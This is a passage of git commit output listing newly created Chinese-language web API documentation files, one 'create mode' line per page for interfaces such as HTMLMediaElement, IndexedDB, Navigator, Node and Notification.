files/zh-cn/web/api/htmlelement/offsettop/index.html create mode 100644 files/zh-cn/web/api/htmlelement/offsetwidth/index.html create mode 100644 files/zh-cn/web/api/htmlelement/oncopy/index.html create mode 100644 files/zh-cn/web/api/htmlelement/oncut/index.html create mode 100644 files/zh-cn/web/api/htmlelement/onpaste/index.html create mode 100644 files/zh-cn/web/api/htmlelement/outertext/index.html create mode 100644 files/zh-cn/web/api/htmlelement/pointercancel_event/index.html create mode 100644 files/zh-cn/web/api/htmlelement/style/index.html create mode 100644 files/zh-cn/web/api/htmlelement/tabindex/index.html create mode 100644 files/zh-cn/web/api/htmlelement/title/index.html create mode 100644 files/zh-cn/web/api/htmlfieldsetelement/index.html create mode 100644 files/zh-cn/web/api/htmlformelement/action/index.html create mode 100644 files/zh-cn/web/api/htmlformelement/elements/index.html create mode 100644 files/zh-cn/web/api/htmlformelement/enctype/index.html create mode 100644 files/zh-cn/web/api/htmlformelement/index.html create mode 100644 files/zh-cn/web/api/htmlformelement/reportvalidity/index.html create mode 100644 files/zh-cn/web/api/htmlformelement/reset/index.html create mode 100644 files/zh-cn/web/api/htmlformelement/reset_event/index.html create mode 100644 files/zh-cn/web/api/htmlformelement/submit/index.html create mode 100644 files/zh-cn/web/api/htmlformelement/submit_event/index.html create mode 100644 files/zh-cn/web/api/htmlheadelement/index.html create mode 100644 files/zh-cn/web/api/htmlhtmlelement/index.html create mode 100644 files/zh-cn/web/api/htmlhtmlelement/version/index.html create mode 100644 files/zh-cn/web/api/htmliframeelement/contentwindow/index.html create mode 100644 files/zh-cn/web/api/htmliframeelement/index.html create mode 100644 files/zh-cn/web/api/htmlimageelement/complete/index.html create mode 100644 files/zh-cn/web/api/htmlimageelement/decode/index.html create mode 100644 files/zh-cn/web/api/htmlimageelement/decoding/index.html create mode 100644 files/zh-cn/web/api/htmlimageelement/image/index.html create mode 100644 files/zh-cn/web/api/htmlimageelement/index.html create mode 100644 files/zh-cn/web/api/htmlimageelement/loading/index.html create mode 100644 files/zh-cn/web/api/htmlimageelement/referrerpolicy/index.html create mode 100644 files/zh-cn/web/api/htmlimageelement/srcset/index.html create mode 100644 files/zh-cn/web/api/htmlinputelement/index.html create mode 100644 files/zh-cn/web/api/htmlinputelement/invalid_event/index.html create mode 100644 files/zh-cn/web/api/htmlinputelement/labels/index.html create mode 100644 files/zh-cn/web/api/htmlinputelement/mozsetfilenamearray/index.html create mode 100644 files/zh-cn/web/api/htmlinputelement/multiple/index.html create mode 100644 files/zh-cn/web/api/htmlinputelement/select/index.html create mode 100644 files/zh-cn/web/api/htmlinputelement/setselectionrange/index.html create mode 100644 files/zh-cn/web/api/htmllabelelement/index.html create mode 100644 files/zh-cn/web/api/htmllielement/index.html create mode 100644 files/zh-cn/web/api/htmllinkelement/index.html create mode 100644 files/zh-cn/web/api/htmllinkelement/referrerpolicy/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/abort_event/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/audiotracks/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/autoplay/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/buffered/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/canplay_event/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/canplaythrough_event/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/canplaytype/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/controller/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/controls/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/controlslist/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/crossorigin/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/currentsrc/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/currenttime/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/duration/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/durationchange_event/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/ended_event/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/error_event/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/load/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/loadeddata_event/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/loadstart_event/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/loop/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/muted/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/networkstate/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/onerror/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/pause/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/pause_event/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/paused/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/play/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/play_event/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/playbackrate/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/playing_event/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/progress_event/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/readystate/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/seekable/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/src/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/srcobject/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/timeupdate_event/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/videotracks/index.html create mode 100644 files/zh-cn/web/api/htmlmediaelement/volume/index.html create mode 100644 files/zh-cn/web/api/htmloptgroupelement/index.html create mode 100644 files/zh-cn/web/api/htmloptionelement/index.html create mode 100644 files/zh-cn/web/api/htmloptionelement/option/index.html create mode 100644 files/zh-cn/web/api/htmlparagraphelement/index.html create mode 100644 files/zh-cn/web/api/htmlprogresselement/index.html create mode 100644 files/zh-cn/web/api/htmlscriptelement/index.html create mode 100644 files/zh-cn/web/api/htmlselectelement/add/index.html create mode 100644 files/zh-cn/web/api/htmlselectelement/checkvalidity/index.html create mode 100644 files/zh-cn/web/api/htmlselectelement/index.html create mode 100644 files/zh-cn/web/api/htmlselectelement/remove/index.html create mode 100644 files/zh-cn/web/api/htmlselectelement/selectedindex/index.html create mode 100644 files/zh-cn/web/api/htmlselectelement/setcustomvalidity/index.html create mode 100644 files/zh-cn/web/api/htmlslotelement/index.html create mode 100644 files/zh-cn/web/api/htmlslotelement/name/index.html create mode 100644 files/zh-cn/web/api/htmlspanelement/index.html create mode 100644 files/zh-cn/web/api/htmlstyleelement/index.html create mode 100644 files/zh-cn/web/api/htmltableelement/createcaption/index.html create mode 100644 files/zh-cn/web/api/htmltableelement/deletethead/index.html create mode 100644 files/zh-cn/web/api/htmltableelement/index.html create mode 100644 files/zh-cn/web/api/htmltableelement/rows/index.html create mode 100644 files/zh-cn/web/api/htmltablerowelement/index.html create mode 100644 files/zh-cn/web/api/htmltablerowelement/rowindex/index.html create mode 100644 files/zh-cn/web/api/htmltemplateelement/content/index.html create mode 100644 files/zh-cn/web/api/htmltemplateelement/index.html create mode 100644 files/zh-cn/web/api/htmltextareaelement/index.html create mode 100644 files/zh-cn/web/api/htmlunknownelement/index.html create mode 100644 files/zh-cn/web/api/htmlvideoelement/index.html create mode 100644 files/zh-cn/web/api/idbcursor/direction/index.html create mode 100644 files/zh-cn/web/api/idbcursor/index.html create mode 100644 files/zh-cn/web/api/idbcursor/key/index.html create mode 100644 files/zh-cn/web/api/idbcursorsync/index.html create mode 100644 files/zh-cn/web/api/idbdatabase/createobjectstore/index.html create mode 100644 files/zh-cn/web/api/idbdatabase/deleteobjectstore/index.html create mode 100644 files/zh-cn/web/api/idbdatabase/index.html create mode 100644 files/zh-cn/web/api/idbdatabase/onversionchange/index.html create mode 100644 files/zh-cn/web/api/idbenvironment/index.html create mode 100644 files/zh-cn/web/api/idbfactory/index.html create mode 100644 files/zh-cn/web/api/idbfactory/open/index.html create mode 100644 files/zh-cn/web/api/idbindex/index.html create mode 100644 files/zh-cn/web/api/idbkeyrange/index.html create mode 100644 files/zh-cn/web/api/idbkeyrange/lowerbound/index.html create mode 100644 files/zh-cn/web/api/idbobjectstore/add/index.html create mode 100644 files/zh-cn/web/api/idbobjectstore/autoincrement/index.html create mode 100644 files/zh-cn/web/api/idbobjectstore/get/index.html create mode 100644 files/zh-cn/web/api/idbobjectstore/index.html create mode 100644 files/zh-cn/web/api/idbobjectstore/indexnames/index.html create mode 100644 files/zh-cn/web/api/idbobjectstore/keypath/index.html create mode 100644 files/zh-cn/web/api/idbobjectstore/opencursor/index.html create mode 100644 files/zh-cn/web/api/idbobjectstore/put/index.html create mode 100644 files/zh-cn/web/api/idbopendbrequest/index.html create mode 100644 files/zh-cn/web/api/idbrequest/index.html create mode 100644 files/zh-cn/web/api/idbtransaction/complete_event/index.html create mode 100644 files/zh-cn/web/api/idbtransaction/db/index.html create mode 100644 files/zh-cn/web/api/idbtransaction/index.html create mode 100644 files/zh-cn/web/api/identitymanager/index.html create mode 100644 files/zh-cn/web/api/identitymanager/watch/index.html create mode 100644 files/zh-cn/web/api/idledeadline/index.html create mode 100644 files/zh-cn/web/api/idledeadline/timeremaining/index.html create mode 100644 files/zh-cn/web/api/imagebitmap/height/index.html create mode 100644 files/zh-cn/web/api/imagebitmap/index.html create mode 100644 files/zh-cn/web/api/imagebitmap/width/index.html create mode 100644 files/zh-cn/web/api/imagebitmaprenderingcontext/index.html create mode 100644 files/zh-cn/web/api/imagedata/data/index.html create mode 100644 files/zh-cn/web/api/imagedata/height/index.html create mode 100644 files/zh-cn/web/api/imagedata/imagedata/index.html create mode 100644 files/zh-cn/web/api/imagedata/index.html create mode 100644 files/zh-cn/web/api/imagedata/width/index.html create mode 100644 files/zh-cn/web/api/index.html create mode 100644 files/zh-cn/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html create mode 100644 files/zh-cn/web/api/indexeddb_api/browser_storage_limits_and_eviction_criteria/index.html create mode 100644 files/zh-cn/web/api/indexeddb_api/checking_when_a_deadline_is_due/index.html create mode 100644 files/zh-cn/web/api/indexeddb_api/index.html create mode 100644 files/zh-cn/web/api/indexeddb_api/using_indexeddb/index.html create mode 100644 files/zh-cn/web/api/indexeddb_api/using_indexeddb_in_chrome/index.html create mode 100644 files/zh-cn/web/api/inputevent/data/index.html create mode 100644 files/zh-cn/web/api/inputevent/datatransfer/index.html create mode 100644 files/zh-cn/web/api/inputevent/index.html create mode 100644 files/zh-cn/web/api/inputevent/inputevent/index.html create mode 100644 files/zh-cn/web/api/inputevent/inputtype/index.html create mode 100644 files/zh-cn/web/api/inputevent/iscomposing/index.html create mode 100644 files/zh-cn/web/api/installevent/index.html create mode 100644 files/zh-cn/web/api/intersection_observer_api/index.html create mode 100644 "files/zh-cn/web/api/intersection_observer_api/\347\202\271\350\247\202\345\257\237\350\200\205api\347\232\204\346\227\266\345\272\217\345\205\203\347\264\240\345\217\257\350\247\201\346\200\247/index.html" create mode 100644 files/zh-cn/web/api/intersectionobserver/disconnect/index.html create mode 100644 files/zh-cn/web/api/intersectionobserver/index.html create mode 100644 files/zh-cn/web/api/intersectionobserver/intersectionobserver/index.html create mode 100644 files/zh-cn/web/api/intersectionobserver/observe/index.html create mode 100644 files/zh-cn/web/api/intersectionobserver/root/index.html create mode 100644 files/zh-cn/web/api/intersectionobserver/rootmargin/index.html create mode 100644 files/zh-cn/web/api/intersectionobserver/takerecords/index.html create mode 100644 files/zh-cn/web/api/intersectionobserver/thresholds/index.html create mode 100644 files/zh-cn/web/api/intersectionobserver/unobserve/index.html create mode 100644 files/zh-cn/web/api/intersectionobserverentry/index.html create mode 100644 files/zh-cn/web/api/keyboard/index.html create mode 100644 files/zh-cn/web/api/keyboardevent/altkey/index.html create mode 100644 files/zh-cn/web/api/keyboardevent/charcode/index.html create mode 100644 files/zh-cn/web/api/keyboardevent/code/index.html create mode 100644 files/zh-cn/web/api/keyboardevent/ctrlkey/index.html create mode 100644 files/zh-cn/web/api/keyboardevent/index.html create mode 100644 files/zh-cn/web/api/keyboardevent/initkeyevent/index.html create mode 100644 files/zh-cn/web/api/keyboardevent/iscomposing/index.html create mode 100644 files/zh-cn/web/api/keyboardevent/key/index.html create mode 100644 files/zh-cn/web/api/keyboardevent/key/key_values/index.html create mode 100644 files/zh-cn/web/api/keyboardevent/keyboardevent/index.html create mode 100644 files/zh-cn/web/api/keyboardevent/keycode/index.html create mode 100644 files/zh-cn/web/api/keyboardevent/location/index.html create mode 100644 files/zh-cn/web/api/keyboardevent/metakey/index.html create mode 100644 files/zh-cn/web/api/keyboardevent/repeat/index.html create mode 100644 files/zh-cn/web/api/keyboardevent/shiftkey/index.html create mode 100644 files/zh-cn/web/api/keyboardevent/which/index.html create mode 100644 files/zh-cn/web/api/localfilesystemsync/index.html create mode 100644 files/zh-cn/web/api/location/assign/index.html create mode 100644 files/zh-cn/web/api/location/hash/index.html create mode 100644 files/zh-cn/web/api/location/host/index.html create mode 100644 files/zh-cn/web/api/location/hostname/index.html create mode 100644 files/zh-cn/web/api/location/href/index.html create mode 100644 files/zh-cn/web/api/location/index.html create mode 100644 files/zh-cn/web/api/location/reload/index.html create mode 100644 files/zh-cn/web/api/location/replace/index.html create mode 100644 files/zh-cn/web/api/location/search/index.html create mode 100644 files/zh-cn/web/api/location/tostring/index.html create mode 100644 files/zh-cn/web/api/lockedfile/index.html create mode 100644 files/zh-cn/web/api/long_tasks_api/index.html create mode 100644 files/zh-cn/web/api/mathmlelement/index.html create mode 100644 files/zh-cn/web/api/media_source_extensions_api/index.html create mode 100644 files/zh-cn/web/api/media_streams_api/index.html create mode 100644 files/zh-cn/web/api/mediacapabilitiesinfo/index.html create mode 100644 files/zh-cn/web/api/mediadevices/devicechange_event/index.html create mode 100644 files/zh-cn/web/api/mediadevices/enumeratedevices/index.html create mode 100644 files/zh-cn/web/api/mediadevices/getdisplaymedia/index.html create mode 100644 files/zh-cn/web/api/mediadevices/getsupportedconstraints/index.html create mode 100644 files/zh-cn/web/api/mediadevices/getusermedia/index.html create mode 100644 files/zh-cn/web/api/mediadevices/index.html create mode 100644 files/zh-cn/web/api/mediadevices/ondevicechange/index.html create mode 100644 files/zh-cn/web/api/mediaelementaudiosourcenode/index.html create mode 100644 files/zh-cn/web/api/mediakeysession/index.html create mode 100644 files/zh-cn/web/api/mediakeysession/load/index.html create mode 100644 files/zh-cn/web/api/medialist/index.html create mode 100644 files/zh-cn/web/api/mediaquerylist/addlistener/index.html create mode 100644 files/zh-cn/web/api/mediaquerylist/index.html create mode 100644 files/zh-cn/web/api/mediarecorder/audiobitspersecond/index.html create mode 100644 files/zh-cn/web/api/mediarecorder/index.html create mode 100644 files/zh-cn/web/api/mediarecorder/istypesupported/index.html create mode 100644 files/zh-cn/web/api/mediarecorder/mediarecorder/index.html create mode 100644 files/zh-cn/web/api/mediarecorder/ondataavailable/index.html create mode 100644 files/zh-cn/web/api/mediarecorder/pause/index.html create mode 100644 files/zh-cn/web/api/mediasession/index.html create mode 100644 files/zh-cn/web/api/mediasession/setactionhandler/index.html create mode 100644 files/zh-cn/web/api/mediasource/addsourcebuffer/index.html create mode 100644 files/zh-cn/web/api/mediasource/duration/index.html create mode 100644 files/zh-cn/web/api/mediasource/endofstream/index.html create mode 100644 files/zh-cn/web/api/mediasource/index.html create mode 100644 files/zh-cn/web/api/mediasource/mediasource/index.html create mode 100644 files/zh-cn/web/api/mediasource/readystate/index.html create mode 100644 files/zh-cn/web/api/mediastream.addtrack/index.html create mode 100644 files/zh-cn/web/api/mediastream/active/index.html create mode 100644 files/zh-cn/web/api/mediastream/clone/index.html create mode 100644 files/zh-cn/web/api/mediastream/getaudiotracks/index.html create mode 100644 files/zh-cn/web/api/mediastream/gettracks/index.html create mode 100644 files/zh-cn/web/api/mediastream/id/index.html create mode 100644 files/zh-cn/web/api/mediastream/index.html create mode 100644 files/zh-cn/web/api/mediastream/mediastream/index.html create mode 100644 files/zh-cn/web/api/mediastream_recording_api/index.html create mode 100644 files/zh-cn/web/api/mediastream_recording_api/using_the_mediastream_recording_api/index.html create mode 100644 files/zh-cn/web/api/mediastreamaudiosourcenode/index.html create mode 100644 files/zh-cn/web/api/mediastreamaudiosourcenode/mediastreamaudiosourcenode/index.html create mode 100644 files/zh-cn/web/api/mediastreamevent/index.html create mode 100644 files/zh-cn/web/api/mediastreamtrack/getcapabilities/index.html create mode 100644 files/zh-cn/web/api/mediastreamtrack/getconstraints/index.html create mode 100644 files/zh-cn/web/api/mediastreamtrack/index.html create mode 100644 files/zh-cn/web/api/mediastreamtrack/readystate/index.html create mode 100644 files/zh-cn/web/api/mediastreamtrack/stop/index.html create mode 100644 files/zh-cn/web/api/mediatrackconstraints/index.html create mode 100644 files/zh-cn/web/api/messagechannel/index.html create mode 100644 files/zh-cn/web/api/messagechannel/messagechannel/index.html create mode 100644 files/zh-cn/web/api/messagechannel/port1/index.html create mode 100644 files/zh-cn/web/api/messagechannel/port2/index.html create mode 100644 files/zh-cn/web/api/messageevent/index.html create mode 100644 files/zh-cn/web/api/messageevent/messageevent/index.html create mode 100644 files/zh-cn/web/api/messageport/index.html create mode 100644 files/zh-cn/web/api/messageport/onmessage/index.html create mode 100644 files/zh-cn/web/api/midiaccess/index.html create mode 100644 files/zh-cn/web/api/midiconnectionevent/index.html create mode 100644 files/zh-cn/web/api/mimetype/index.html create mode 100644 files/zh-cn/web/api/mouseevent/altkey/index.html create mode 100644 files/zh-cn/web/api/mouseevent/button/index.html create mode 100644 files/zh-cn/web/api/mouseevent/buttons/index.html create mode 100644 files/zh-cn/web/api/mouseevent/clientx/index.html create mode 100644 files/zh-cn/web/api/mouseevent/clienty/index.html create mode 100644 files/zh-cn/web/api/mouseevent/ctrlkey/index.html create mode 100644 files/zh-cn/web/api/mouseevent/getmodifierstate/index.html create mode 100644 files/zh-cn/web/api/mouseevent/index.html create mode 100644 files/zh-cn/web/api/mouseevent/initmouseevent/index.html create mode 100644 files/zh-cn/web/api/mouseevent/metakey/index.html create mode 100644 files/zh-cn/web/api/mouseevent/mouseevent/index.html create mode 100644 files/zh-cn/web/api/mouseevent/movementx/index.html create mode 100644 files/zh-cn/web/api/mouseevent/movementy/index.html create mode 100644 files/zh-cn/web/api/mouseevent/mozinputsource/index.html create mode 100644 files/zh-cn/web/api/mouseevent/offsetx/index.html create mode 100644 files/zh-cn/web/api/mouseevent/offsety/index.html create mode 100644 files/zh-cn/web/api/mouseevent/pagex/index.html create mode 100644 files/zh-cn/web/api/mouseevent/pagey/index.html create mode 100644 files/zh-cn/web/api/mouseevent/region/index.html create mode 100644 files/zh-cn/web/api/mouseevent/relatedtarget/index.html create mode 100644 files/zh-cn/web/api/mouseevent/screenx/index.html create mode 100644 files/zh-cn/web/api/mouseevent/screeny/index.html create mode 100644 files/zh-cn/web/api/mouseevent/shiftkey/index.html create mode 100644 files/zh-cn/web/api/mouseevent/which/index.html create mode 100644 files/zh-cn/web/api/mouseevent/x/index.html create mode 100644 files/zh-cn/web/api/mouseevent/y/index.html create mode 100644 files/zh-cn/web/api/mousescrollevent/index.html create mode 100644 files/zh-cn/web/api/mousewheelevent/index.html create mode 100644 files/zh-cn/web/api/msselection/index.html create mode 100644 files/zh-cn/web/api/mutationobserver/disconnect/index.html create mode 100644 files/zh-cn/web/api/mutationobserver/index.html create mode 100644 files/zh-cn/web/api/mutationobserver/mutationobserver/index.html create mode 100644 files/zh-cn/web/api/mutationobserver/observe/index.html create mode 100644 files/zh-cn/web/api/mutationobserver/takerecords/index.html create mode 100644 files/zh-cn/web/api/mutationobserverinit/attributefilter/index.html create mode 100644 files/zh-cn/web/api/mutationobserverinit/childlist/index.html create mode 100644 files/zh-cn/web/api/mutationobserverinit/index.html create mode 100644 files/zh-cn/web/api/mutationrecord/index.html create mode 100644 files/zh-cn/web/api/namednodemap/getnameditem/index.html create mode 100644 files/zh-cn/web/api/namednodemap/index.html create mode 100644 files/zh-cn/web/api/namelist/index.html create mode 100644 files/zh-cn/web/api/navigation_timing_api/index.html create mode 100644 files/zh-cn/web/api/navigation_timing_api/using_navigation_timing/index.html create mode 100644 files/zh-cn/web/api/navigator/activevrdisplays/index.html create mode 100644 files/zh-cn/web/api/navigator/battery/index.html create mode 100644 files/zh-cn/web/api/navigator/buildid/index.html create mode 100644 files/zh-cn/web/api/navigator/canshare/index.html create mode 100644 files/zh-cn/web/api/navigator/clipboard/index.html create mode 100644 files/zh-cn/web/api/navigator/connection/index.html create mode 100644 files/zh-cn/web/api/navigator/cookieenabled/index.html create mode 100644 files/zh-cn/web/api/navigator/credentials/index.html create mode 100644 files/zh-cn/web/api/navigator/devicememory/index.html create mode 100644 files/zh-cn/web/api/navigator/donottrack/index.html create mode 100644 files/zh-cn/web/api/navigator/geolocation/index.html create mode 100644 files/zh-cn/web/api/navigator/getbattery/index.html create mode 100644 files/zh-cn/web/api/navigator/getgamepads/index.html create mode 100644 files/zh-cn/web/api/navigator/getusermedia/index.html create mode 100644 files/zh-cn/web/api/navigator/id/index.html create mode 100644 files/zh-cn/web/api/navigator/index.html create mode 100644 files/zh-cn/web/api/navigator/keyboard/index.html create mode 100644 files/zh-cn/web/api/navigator/maxtouchpoints/index.html create mode 100644 files/zh-cn/web/api/navigator/mediadevices/index.html create mode 100644 files/zh-cn/web/api/navigator/mozislocallyavailable/index.html create mode 100644 files/zh-cn/web/api/navigator/mozsettings/index.html create mode 100644 files/zh-cn/web/api/navigator/mozsms/index.html create mode 100644 files/zh-cn/web/api/navigator/oscpu/index.html create mode 100644 files/zh-cn/web/api/navigator/permissions/index.html create mode 100644 files/zh-cn/web/api/navigator/productsub/index.html create mode 100644 files/zh-cn/web/api/navigator/registercontenthandler/index.html create mode 100644 files/zh-cn/web/api/navigator/registerprotocolhandler/index.html create mode 100644 files/zh-cn/web/api/navigator/registerprotocolhandler/web-based_protocol_handlers/index.html create mode 100644 files/zh-cn/web/api/navigator/sendbeacon/index.html create mode 100644 files/zh-cn/web/api/navigator/serviceworker/index.html create mode 100644 files/zh-cn/web/api/navigator/share/index.html create mode 100644 files/zh-cn/web/api/navigator/vendor/index.html create mode 100644 files/zh-cn/web/api/navigator/vendorsub/index.html create mode 100644 files/zh-cn/web/api/navigator/vibrate/index.html create mode 100644 files/zh-cn/web/api/navigatorconcurrenthardware/hardwareconcurrency/index.html create mode 100644 files/zh-cn/web/api/navigatorconcurrenthardware/index.html create mode 100644 files/zh-cn/web/api/navigatorgeolocation/index.html create mode 100644 files/zh-cn/web/api/navigatorid/appcodename/index.html create mode 100644 files/zh-cn/web/api/navigatorid/appname/index.html create mode 100644 files/zh-cn/web/api/navigatorid/appversion/index.html create mode 100644 files/zh-cn/web/api/navigatorid/index.html create mode 100644 files/zh-cn/web/api/navigatorid/platform/index.html create mode 100644 files/zh-cn/web/api/navigatorid/product/index.html create mode 100644 files/zh-cn/web/api/navigatorid/useragent/index.html create mode 100644 files/zh-cn/web/api/navigatorlanguage/index.html create mode 100644 files/zh-cn/web/api/navigatorlanguage/language/index.html create mode 100644 files/zh-cn/web/api/navigatorlanguage/languages/index.html create mode 100644 files/zh-cn/web/api/navigatoronline/index.html create mode 100644 files/zh-cn/web/api/navigatoronline/online/index.html create mode 100644 files/zh-cn/web/api/navigatoronline/online_and_offline_events/index.html create mode 100644 files/zh-cn/web/api/navigatorplugins/index.html create mode 100644 files/zh-cn/web/api/navigatorplugins/javaenabled/index.html create mode 100644 files/zh-cn/web/api/navigatorplugins/mimetypes/index.html create mode 100644 files/zh-cn/web/api/navigatorplugins/plugins/index.html create mode 100644 "files/zh-cn/web/api/navigatorplugins/\346\265\213\350\257\225\346\273\225\347\233\226/index.html" create mode 100644 files/zh-cn/web/api/navigatorstorage/index.html create mode 100644 files/zh-cn/web/api/navigatorstorage/storage/index.html create mode 100644 files/zh-cn/web/api/network_information_api/index.html create mode 100644 files/zh-cn/web/api/networkinformation/downlink/index.html create mode 100644 files/zh-cn/web/api/networkinformation/index.html create mode 100644 files/zh-cn/web/api/networkinformation/rtt/index.html create mode 100644 files/zh-cn/web/api/networkinformation/savedata/index.html create mode 100644 files/zh-cn/web/api/node/appendchild/index.html create mode 100644 files/zh-cn/web/api/node/baseuri/index.html create mode 100644 files/zh-cn/web/api/node/baseuriobject/index.html create mode 100644 files/zh-cn/web/api/node/childnodes/index.html create mode 100644 files/zh-cn/web/api/node/clonenode/index.html create mode 100644 files/zh-cn/web/api/node/comparedocumentposition/index.html create mode 100644 files/zh-cn/web/api/node/contains/index.html create mode 100644 files/zh-cn/web/api/node/firstchild/index.html create mode 100644 files/zh-cn/web/api/node/getrootnode/index.html create mode 100644 files/zh-cn/web/api/node/getuserdata/index.html create mode 100644 files/zh-cn/web/api/node/haschildnodes/index.html create mode 100644 files/zh-cn/web/api/node/index.html create mode 100644 files/zh-cn/web/api/node/innertext/index.html create mode 100644 files/zh-cn/web/api/node/insertbefore/index.html create mode 100644 files/zh-cn/web/api/node/isconnected/index.html create mode 100644 files/zh-cn/web/api/node/isdefaultnamespace/index.html create mode 100644 files/zh-cn/web/api/node/isequalnode/index.html create mode 100644 files/zh-cn/web/api/node/issamenode/index.html create mode 100644 files/zh-cn/web/api/node/issupported/index.html create mode 100644 files/zh-cn/web/api/node/lastchild/index.html create mode 100644 files/zh-cn/web/api/node/localname/index.html create mode 100644 files/zh-cn/web/api/node/lookupnamespaceuri/index.html create mode 100644 files/zh-cn/web/api/node/lookupprefix/index.html create mode 100644 files/zh-cn/web/api/node/namespaceuri/index.html create mode 100644 files/zh-cn/web/api/node/nextsibling/index.html create mode 100644 files/zh-cn/web/api/node/nodename/index.html create mode 100644 files/zh-cn/web/api/node/nodeprincipal/index.html create mode 100644 files/zh-cn/web/api/node/nodetype/index.html create mode 100644 files/zh-cn/web/api/node/nodevalue/index.html create mode 100644 files/zh-cn/web/api/node/normalize/index.html create mode 100644 files/zh-cn/web/api/node/outertext/index.html create mode 100644 files/zh-cn/web/api/node/ownerdocument/index.html create mode 100644 files/zh-cn/web/api/node/parentelement/index.html create mode 100644 files/zh-cn/web/api/node/parentnode/index.html create mode 100644 files/zh-cn/web/api/node/prefix/index.html create mode 100644 files/zh-cn/web/api/node/previoussibling/index.html create mode 100644 files/zh-cn/web/api/node/removechild/index.html create mode 100644 files/zh-cn/web/api/node/replacechild/index.html create mode 100644 files/zh-cn/web/api/node/rootnode/index.html create mode 100644 files/zh-cn/web/api/node/setuserdata/index.html create mode 100644 files/zh-cn/web/api/node/textcontent/index.html create mode 100644 files/zh-cn/web/api/nodefilter/acceptnode/index.html create mode 100644 files/zh-cn/web/api/nodefilter/index.html create mode 100644 files/zh-cn/web/api/nodeiterator/index.html create mode 100644 files/zh-cn/web/api/nodelist/entries/index.html create mode 100644 files/zh-cn/web/api/nodelist/foreach/index.html create mode 100644 files/zh-cn/web/api/nodelist/index.html create mode 100644 files/zh-cn/web/api/nodelist/item/index.html create mode 100644 files/zh-cn/web/api/nodelist/keys/index.html create mode 100644 files/zh-cn/web/api/nodelist/length/index.html create mode 100644 files/zh-cn/web/api/nodelist/values/index.html create mode 100644 files/zh-cn/web/api/nondocumenttypechildnode/index.html create mode 100644 files/zh-cn/web/api/nondocumenttypechildnode/nextelementsibling/index.html create mode 100644 files/zh-cn/web/api/nondocumenttypechildnode/previouselementsibling/index.html create mode 100644 files/zh-cn/web/api/notation/index.html create mode 100644 files/zh-cn/web/api/notification/actions/index.html create mode 100644 files/zh-cn/web/api/notification/badge/index.html create mode 100644 files/zh-cn/web/api/notification/body/index.html create mode 100644 files/zh-cn/web/api/notification/close/index.html create mode 100644 files/zh-cn/web/api/notification/data/index.html create mode 100644 files/zh-cn/web/api/notification/dir/index.html create mode 100644 files/zh-cn/web/api/notification/icon/index.html create mode 100644 files/zh-cn/web/api/notification/image/index.html create mode 100644 files/zh-cn/web/api/notification/index.html create mode 100644 files/zh-cn/web/api/notification/notification/index.html create mode 100644 files/zh-cn/web/api/notification/onclick/index.html create mode 100644 files/zh-cn/web/api/notification/onclose/index.html create mode 100644 files/zh-cn/web/api/notification/onerror/index.html create mode 100644 files/zh-cn/web/api/notification/onshow/index.html create mode 100644 files/zh-cn/web/api/notification/permission/index.html create mode 100644 files/zh-cn/web/api/notification/renotify/index.html create mode 100644 files/zh-cn/web/api/notification/requestpermission/index.html create mode 100644 files/zh-cn/web/api/notification/requireinteraction/index.html create mode 100644 files/zh-cn/web/api/notification/sound/index.html create mode 100644 files/zh-cn/web/api/notification/using_web_notifications/index.html create mode 100644 files/zh-cn/web/api/notificationevent/index.html create mode 100644 files/zh-cn/web/api/notifications_api/index.html create mode 100644 files/zh-cn/web/api/notifyaudioavailableevent/index.html create mode 100644 files/zh-cn/web/api/oes_vertex_array_object/index.html create mode 100644 files/zh-cn/web/api/offlineaudiocontext/complete/index.html create mode 100644 files/zh-cn/web/api/offlineaudiocontext/index.html create mode 100644 files/zh-cn/web/api/offlineaudiocontext/length/index.html create mode 100644 files/zh-cn/web/api/offlineaudiocontext/offlineaudiocontext/index.html create mode 100644 files/zh-cn/web/api/offlineaudiocontext/suspend/index.html create mode 100644 files/zh-cn/web/api/offscreencanvas/height/index.html create mode 100644 files/zh-cn/web/api/offscreencanvas/index.html create mode 100644 files/zh-cn/web/api/offscreencanvas/offscreencanvas/index.html create mode 100644 files/zh-cn/web/api/offscreencanvas/transfertoimagebitmap/index.html create mode 100644 files/zh-cn/web/api/oscillatornode/detune/index.html create mode 100644 files/zh-cn/web/api/oscillatornode/frequency/index.html create mode 100644 files/zh-cn/web/api/oscillatornode/index.html 